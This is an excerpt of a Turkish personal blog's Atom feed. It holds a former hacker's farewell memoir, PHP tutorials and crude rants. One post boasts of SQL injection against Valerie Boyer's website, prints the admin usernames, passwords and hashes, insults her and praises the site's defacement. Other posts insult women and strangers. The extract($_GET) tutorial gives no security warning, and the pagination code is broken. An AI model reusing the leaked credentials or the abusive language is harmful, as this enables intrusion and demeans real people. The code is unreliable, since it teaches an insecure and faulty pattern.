href='http://artiktek.blogspot.com/2011/12/sistemlerin-buyuk-sorunlar-web.html' title='Sistemlerin büyük sorunları, Web güvenliği'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-ja2MDrDE7Ys/TvnGefAH0sI/AAAAAAAAALU/WFcovK8Z5NY/s72-c/hacker.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-8629115238574344320</id><published>2011-12-26T04:29:00.000-08:00</published><updated>2012-01-15T03:35:41.856-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Son nokta</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-E7xg04a_2c4/Tvhcic84N2I/AAAAAAAAAIs/RJFHVqgk8dU/s1600/110905-104023-379750-CB.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="101" src="http://4.bp.blogspot.com/-E7xg04a_2c4/Tvhcic84N2I/AAAAAAAAAIs/RJFHVqgk8dU/s200/110905-104023-379750-CB.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;2004 ~ 2010. Ne güzel yıllardı. 6 senede bir çok arkadaş edindim. Bir çok mecaraya atıldık hep birlikte. Kimselerin hayallerini bile kuramayacağı işler başardık&amp;nbsp;arkamızda soru işaretleri bırakarak.&amp;nbsp;&amp;nbsp;Hem öğrendik, hem öğrettik. Yeri geldi görüşlerimiz farklı oldu yollarımız ayırdı. Ufakta olsa sorunlar yaşadık. Hiç korkumuz yoktu hayattan.Yediğimiz yemek, yattığımız yatak, oturduğumuz ev aynıydı. Türkiye'nin bir ucundan diğer bir ucuna km.leri gözetmeksizin görüşebilen, buluşabilen bir oluşumduk. Beni en çok bu kardeş ilişkileri sevindiriyordu. Dışarıda ki hayatta fazla arkadaşımın olmama nedenide bu olsa gerek. Sanalda herşey çıkara bağlı değildi. Ortak özelliklerimiz vardı hepimizin. Bu yüzden sanalda ki tüm arkadaşlarımın yeri ayrıdır benim için.&lt;br /&gt;&lt;br /&gt;Dinlenen telefonlarımız, içeri girmeler, şartlı tahliyelerimiz alayına inat seviyorum lan sizleri. Hepinizin farklı bir yeri var bende. Şuanda bir çoğunuzla görüşmüyor olsak bile, eski günleri hatırlayıp, haber sitelerinde ki haberlerimizi okuyarak mutlu oluyorum lan. Harbiden çok iş yapmışız. Adımızı herkese ezberletmişiz zamanında. Dargın olduğumu düşünen insanlar var. Ben sizlere dargın değilim. Sizde bana dargın olmayın. Sikindirik bir olay yüzüne böyle olmamamız gerekiyordu. Herneyse. Geçmiş geçmişte kaldı. En çok hani o hep birlikte toplanıp Thehacker'in yanına gidiyorduk ya onu özlüyorum. Çok mistik işler yapıyoduk lan :D ciddiyim. Özlüyor insan o günleri. Server rootlamadan uyuyamadığımız dönemler, sabahın ilk ışıklarına kadar kastığımız sql injection'lar vs. Tüm bunları özlemekteyim.&lt;br /&gt;&lt;br /&gt;Uzun sürede bir çok tecrübe edindim.&amp;nbsp;Bu tecrübelerim bana zarar getirmeye başlamıştı.&amp;nbsp;TurkGuvenligi'nde "BLaSTER" takma adıyla yaptığım tüm işleri geride bıraktım. Elimde bulunan tüm gizli bilgi ve verileri sildim. Artık temiz bir başlangıç yapmak gerekiyor. Gerçek hayatın olduğuna adapte oldum. Bu işlere uğraşan insanlar bilirler, çok detaylara takılırız ve kafamızı çok ağrıtırız. Kız arkadaşımında ilgi göstermediğim için ayrıldığını biliyorum. Bazı şeylerin çok geç farkına vardım. Ama olsun nolcak ki :D Hacking ve programlama hakkında edindiğim bilgi ve tecrübeleri bu blog sayesinde sizlere aktarmaya devam edeceğim. Takipte kalın.&lt;br /&gt;&lt;br /&gt;Ha benden size bu şarkı armağan olsun. Dinledikçe beni hatırlayın :D&amp;nbsp;&lt;a href="http://www.youtube.com/watch?v=WeonmHce6kY"&gt;http://www.youtube.com/watch?v=WeonmHce6kY&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Yayında ve yapımda emeği geçen herkese teşekkürler.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;TurkGuvenligi tayfası&lt;/b&gt;&lt;br /&gt;Agd_Scorp, Thehacker, Cr@zy_King, JeXToXic, s3f4, netRoot, Suskun&lt;br /&gt;&lt;br /&gt;&lt;b&gt;NetDevilZ&lt;/b&gt;&lt;br /&gt;KinSize, The_BeKiR, h4ckinger, Zeberus, Milano, Gececi, Piero&lt;br /&gt;&lt;br /&gt;&lt;b&gt;RootArea&lt;/b&gt;&lt;br /&gt;NoSleep, LyNx, Burtay&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hackerbox.us&lt;/b&gt;&lt;br /&gt;Satanist-imam, EaGLe, BLaCKWHITE, FreeZe, DesquneR, Canberx, N0y4n, Meb.net, Jackass, Mistick, unreaL, KnbykL, Big_Brother, A.M.E.N, LGMAN&lt;br /&gt;&lt;br /&gt;&lt;b&gt;BiyoSecurity&lt;/b&gt;&lt;br /&gt;liz0zim, ErNe, RMx, di_lejyoner, t0fan, sao&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Megaturks&lt;/b&gt;&lt;br /&gt;Kılıçarslan, Kerem125, Prens&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hellcode&lt;/b&gt;&lt;br /&gt;karak0rsan&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Zone-h&lt;/b&gt;&lt;br /&gt;Vympel, Marco, Ozden, Uskan (Powercobra)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Diğer&lt;/b&gt;&lt;br /&gt;Crackers_child (özellikle Bora abiye burdan sevgiler), eno7, Metlak, xoron, Zorbey, TaRaNTuLa, 3vr3n, Nukedx, lifestealer, Hacker_Onur, Kacak, z0rlu, Huzeyfe Onal ve aklıma gelmeyen bir çok arkadaşım.&lt;br /&gt;&lt;br /&gt;Özellikle kalbini kırdığım zumsuk (ayro, ayrox) geçmişte kaldı herşey. Özür dilerim senden de.&lt;br /&gt;&lt;br /&gt;Bir tek ipne iskorpitx'e selam göndermiyorum. Sana bilgisayar veren satış sorumlusunun taa aqm ben :D&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-8629115238574344320?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/8629115238574344320/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/son-nokta.html#comment-form' title='9 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8629115238574344320'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8629115238574344320'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/son-nokta.html' title='Son nokta'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-E7xg04a_2c4/Tvhcic84N2I/AAAAAAAAAIs/RJFHVqgk8dU/s72-c/110905-104023-379750-CB.jpg' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-8585387032119357485</id><published>2011-12-25T23:14:00.000-08:00</published><updated>2012-01-22T09:50:38.163-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php - extract fonksiyonu nedir ne işe yarar?</title><content type='html'>Selam,&lt;br /&gt;&lt;br /&gt;Php'de extract() fonksiyonu bir dizideki değerlerin her birini ayrı bir değişkene atamaya yarar. Örnek vermek gerekirse, bir dizideki değerin key kısmını değişken olarak ekrana yazalım.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;$data = array(&lt;br /&gt; 'name' =&amp;gt; 'İsim',&lt;br /&gt; 'surname' =&amp;gt; 'Soyisim'&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;extract($data);&lt;br /&gt;&lt;br /&gt;echo $name;&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;Ekran çıktısı İsim olacaktır. Diğer bir örnekte ise; GET methodunu kullanalım. &lt;b&gt;index.php?deneme=deniyoruz.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;extract($_GET);&lt;br /&gt;echo $deneme;&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;Ekran çıktısı deniyoruz olacaktır.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-8585387032119357485?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/8585387032119357485/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-extract-fonksiyonu-nedir-ne-ise.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8585387032119357485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8585387032119357485'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-extract-fonksiyonu-nedir-ne-ise.html' title='Php - extract fonksiyonu nedir ne işe yarar?'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-3413064465619425555</id><published>2011-12-25T14:06:00.000-08:00</published><updated>2011-12-25T14:07:58.609-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='amk'/><title type='text'>Gözümden hayat vol2</title><content type='html'>&lt;a href="http://artiktek.blogspot.com/2011/12/gozumden-hayat-vol1.html"&gt;Gözümden hayat vol1&lt;/a&gt; yazımın ardından kısa bir süre sonra tekrar karşınızdayım amuha goim. Kusura bakmayın direk konuya giriyorum o kadar içlendim. Köyde yada varoşta büyüyen kızlar genelde üniversiteye başladıklarında kendilerini bulunmaz hint kumaşı sanarlar. Tek bana mı denk geliyor böylesi bilmem ama, okul yıllarımda hayatında ilk defa dışarıya çıkmış insanlarla birlikte okumaya çalışmam hiç zevk vermedi. Üstüne bi de hocaların kendine tarz havaları eklenince beni okuldan iyice kopardı.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Öncelikle bıyıklı kezbanlardan bahsetmemiz gerekiyor;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ailesi ile yaşayan ve fazla erkek arkadaşı olmamış, yada olduysa bile aile baskısı yüzünden pek ciddi bir ilişki yürütemeyen köylü kezbanlar, üniversiteye başlayınca saçlarını kızıla boyatıp selin olarak karşımıza çıkıyor. Bir de okulun en maymun barzo çocuğuyla takılmaz mı offfffff. kalp krizi geçiriyor insan. ha kıskanma değil yanlış anlaşılmasın amuha goim. Sadece insan sinir oluyor böyle şeylere.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Birde cemaat yurdunda kalmazlar mı? ablalarda euaheu. İçeriden ayıktığım bir kaç kızın anlattığına göre cemaat yurdunda kalan çakma selinler, birbirlerini kıskanıp dururlar. Aynı zamanda özendikleri orjinal selinlere tav olur ve saçma sapan muhabbet ederler. Sözde bu çakma selinler okul okumaya gelmiştir.&amp;nbsp;Hemde bilgisayar programcılığı bölümüne. Esmerim, fazla kilolarım yok, eh birazda tip var yani giderim olduğunu düşünüyorum üstüne bir de&amp;nbsp;bölüm derslerim çok iyi olunca, yanaşır bunlar götü kurtarmak için. Final ve vize zamanları dışında ise arayıp sormaz özenti orospular. Bir de aşk hayatları vardır bunların, liseli çocukları kıskandıracak seviyede. En işe yaramazıyla çıkarlar filan. Üstüne diğer kızlarla erkekleri için kavga ederler. Bu çocuk bunları aldatır. Tüm ders boyunca ağlarlar filan. Offf keşmekeş bir hayat. Amına koduklarım hayatıma renk kattılar hep. Bu yüzden mutluyum. Kendime hep eğlence çıkarmasını bildim. Okul okul değildi arka sıralar dizisi gibiydi mübarek. Böyleleri karşınıza çıkarsa hiç pas vermeyin, hatta gururlarıyla oynayın ki dünyanın sahte olmadığını ayıksınlar.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Birde böyle kendini bir bok sanan hocalar olunca insanın hiç okuyası gelmiyor. Kezbanlar, aşk hayatları bir yandan, hocaların tripleri, kezbanlara asılmaları hunharca boşaltıyor insanı.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;İşte gençler okul hayatımın özeti bu şekilde. Hep tek tabanca takılın. 3'den fazla arkadaşınız olmasın. Orjinal selinlerle takılmaya bakın. Yüzü boya dükkanı gibi olan sahte selinlerden uzak durun. Onlar köy güzeli bıyıklı selinlerdir.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Kalın sağlıcakla.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-3413064465619425555?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/3413064465619425555/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/gozumden-hayat-vol2.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3413064465619425555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3413064465619425555'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/gozumden-hayat-vol2.html' title='Gözümden hayat vol2'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-7122092509337710043</id><published>2011-12-25T09:57:00.000-08:00</published><updated>2011-12-25T10:01:40.997-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Valerie Boyer sql injection</title><content type='html'>Ermeni soykırımı iddalarının bir numaralı ismi orospunun önde gideni Valerie Boyer'in resmi internet sitesinde sql injection vardı. Biraz uğraş sayesinde yönetici bilgilerine ulaşabildim. Bunları sizinle paylaşmak istedim.&lt;br /&gt;&lt;br /&gt;http://www.valerie-boyer.fr/&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Manager&lt;/b&gt;&lt;br /&gt;Username: Julien&lt;br /&gt;Password: noelie&lt;br /&gt;Hash: c9debb0643e5c194c1d7071f1944e3f7&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Super Administrator&lt;/b&gt;&lt;br /&gt;Username: Joel&lt;br /&gt;Password: marine&lt;br /&gt;Hash: b329f324cc17d6221a385ea1afb3a289&lt;br /&gt;&lt;br /&gt;Not: Yönetim panelini bulamadığım için bir uyarı mesajı gönderemedim. Bugün türk bir hacking gurubu sayfayı deface etmiş. Kendilerini tebrik ediyorum.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-7122092509337710043?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/7122092509337710043/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/valerie-boyer-sql-injection.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7122092509337710043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7122092509337710043'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/valerie-boyer-sql-injection.html' title='Valerie Boyer sql injection'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-5782315043583390259</id><published>2011-12-23T07:06:00.001-08:00</published><updated>2011-12-24T05:38:57.970-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='inci sözlük'/><title type='text'>Metrobüs'de ibretlik ayar</title><content type='html'>Geçen akşam metrobüsteydim (evet fakir piçim) 2 tane orospu bindi. kilolarının toplamı 300 dü amk. nereye oturalım, nereye oturalım heyecanına girdiler.&lt;br /&gt;karşımda ilerdeki koltuklardan birinde tek kişilik boş bi yer vardı. oraya yöneldiler, sonra bi baktım kikir kikir geri döndüler.&lt;br /&gt;biri diğerine: niye oturmadın ? dedi&lt;br /&gt;diğeri : adamın gözleri şaşıydı (böö gibi bişey yaptı gülüştüler filan, sessiz olduklarını sanarak )&lt;br /&gt;&lt;br /&gt;baktım karşıdaki dayıya, evet gözleri şaşıydı, gariban kendi halinde oturuyordu. amına koduklarım evet adam şaşı, olabilir allah yardımcısı olsun ama zeka özürlü değil sizin gibi vs. karılara içimden bildiğim bütün küfürleri okudum.&lt;br /&gt;bunlar yakınımda ayakta gittiler, iğrenç iğrenç muhabbetlerine istemeden kulak misafiri oldum. yol boyunca onu bunu çekiştirdiler. bi de fil gibi amına koduklarım kendileri güzeller sanki millete bok attılar. nevrim döndü sinirden amk.&lt;br /&gt;&lt;br /&gt;derken bi kaç durak sonra dayı kalktı kapıya yöneldi, inecek.. bunlar gene kikir kikir.. bi yandan dayının kalktığı koltuğa oturmaya yöneldi teki..&lt;br /&gt;ve o esnada ilahi adalet vuku buldu..&lt;br /&gt;metrobüs durağa gelince ani bi duruş yaptı, bu oturmaya giden fil bi uçtu dayının yanında teğet geçip kafayı direğe çarptı. bi başkasının kucağına düştü.&lt;br /&gt;arkadaşı koştu ''ayy ayyy.. filan'' dayıya dedi ''niye tutmadın amca''&lt;br /&gt;ve dayı milenyumun lafını koydu : şaşıyım ben, çift gördüm arkadaşını!&lt;br /&gt;&lt;br /&gt;var ya, ömür boyu karı sikmek, en lezzetli yemeği yemek vs.&lt;br /&gt;&lt;br /&gt;hiç biri o an, dayının cevabı kadar orgazma ulaştırmamıştı beni.&lt;br /&gt;&lt;br /&gt;- inci sözlükten alıntıdır.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-5782315043583390259?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/5782315043583390259/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/metrobusteki-ibretlik-ayar.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/5782315043583390259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/5782315043583390259'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/metrobusteki-ibretlik-ayar.html' title='Metrobüs&apos;de ibretlik ayar'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-4754096230692024212</id><published>2011-12-21T23:30:00.001-08:00</published><updated>2011-12-21T23:30:21.109-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><title type='text'>Google Zeitgeist 2011: Year In Review</title><content type='html'>2011'de dünyada yaşanan önemli olaylar. Kaynak Google.&lt;br /&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/SAIEamakLoY" width="560"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-4754096230692024212?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/4754096230692024212/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/google-zeitgeist-2011-year-in-review.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/4754096230692024212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/4754096230692024212'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/google-zeitgeist-2011-year-in-review.html' title='Google Zeitgeist 2011: Year In Review'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/SAIEamakLoY/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-7327901904414758903</id><published>2011-12-21T00:01:00.000-08:00</published><updated>2012-01-22T09:50:52.653-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php sayfalama mantığı</title><content type='html'>Veritabanınızda birden fazla kayıt var ve sayfalama yapmak istiyorsanız şöyle bir yol izleyebilirsiniz.&lt;br /&gt;index.php dosyanızda kayıtların geldiğini düşünelim. Örneğin; index.php?page=2 denildiğinde 2. sayfadaki 10 kayıt gelsin.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;// coded by artiktek.blogspot.com&lt;br /&gt;// basit sayfalama mantığı&lt;br /&gt;&lt;br /&gt;// toplam kayıt sayısını alıyoruz&lt;br /&gt;$record_count = mysql_num_rows(mysql_query("select * from table"));&lt;br /&gt;// sayfalama için ayar dizisi oluşturalım&lt;br /&gt;$config = array(&lt;br /&gt;  'page' =&amp;gt; (int) @$_GET['page'], // sayfa numarası&lt;br /&gt;  'record_number' =&amp;gt; 10, // bir sayfada gösterilecek kayıt sayısı&lt;br /&gt;  'record_count' =&amp;gt; $record_count // toplam kayıt sayısı &lt;br /&gt;);&lt;br /&gt;// sayfalara göre gelecek kayıtların sıralaması &lt;br /&gt;//1. sayfada 1 ile 10 arası 2. sayfada 10 ile 20 arası vs.&lt;br /&gt;$start = $config['page'] * $config['record_number'];&lt;br /&gt;&lt;br /&gt;// kayıtları dönderir&lt;br /&gt;$query = mysql_query("select * from table limit $start, " . $config['page']);&lt;br /&gt;while ($c = mysql_fetch_assoc($query)){&lt;br /&gt;  //sayfa numarasına göre belirtilen limitte kayıt döner&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// toplam kayıt sayısına göre sayfalama linklerini oluşturur&lt;br /&gt;$pages = ceil($config['record_count'] / $config['record_number']);&lt;br /&gt;&lt;br /&gt;// linkler oluşturuluyor&lt;br /&gt;for($i=0;$i&amp;lt;$sayfacik;$i++){&lt;br /&gt;  if($sayfa==$i){&lt;br /&gt;    // aktif sayfadan link kaldırılır ve belirgin olsun diye bold yazılır&lt;br /&gt;    echo"[&amp;lt;strong&amp;gt;".$i."&amp;lt;/strong&amp;gt;]";&lt;br /&gt;  }else{&lt;br /&gt;    echo'&amp;lt;a href="index.php?page='.$i.'" title="Sayfa '.$i.'"&amp;gt;'.$i.'&amp;lt;/a&amp;gt;';&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-7327901904414758903?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/7327901904414758903/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-sayfalama-mantg.html#comment-form' title='4 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7327901904414758903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7327901904414758903'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-sayfalama-mantg.html' title='Php sayfalama mantığı'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-6597876066693225050</id><published>2011-12-20T14:21:00.001-08:00</published><updated>2011-12-20T14:26:59.161-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Sql'in bu kadarı</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-T36fhMBeNh4/TvEJZp8pD1I/AAAAAAAAAIQ/VttNAcH90jc/s1600/d3bq.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;.&lt;img border="0" height="150" src="http://2.bp.blogspot.com/-T36fhMBeNh4/TvEJZp8pD1I/AAAAAAAAAIQ/VttNAcH90jc/s200/d3bq.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;Biraz gülelim :D Mobese sistemlerine sql injection denemesi anca böyle yapılabilir :P &lt;br /&gt;&lt;br /&gt;Görüntü Polonya'dan.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-6597876066693225050?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/6597876066693225050/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/sqlin-bu-kadar.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6597876066693225050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6597876066693225050'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/sqlin-bu-kadar.html' title='Sql&apos;in bu kadarı'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-T36fhMBeNh4/TvEJZp8pD1I/AAAAAAAAAIQ/VttNAcH90jc/s72-c/d3bq.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-5347398843652748938</id><published>2011-12-20T14:13:00.001-08:00</published><updated>2012-01-22T09:51:04.456-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php ve Sql injection fix</title><content type='html'>Php uygulamalarınızda $değişken lerinize uygulayacağınız 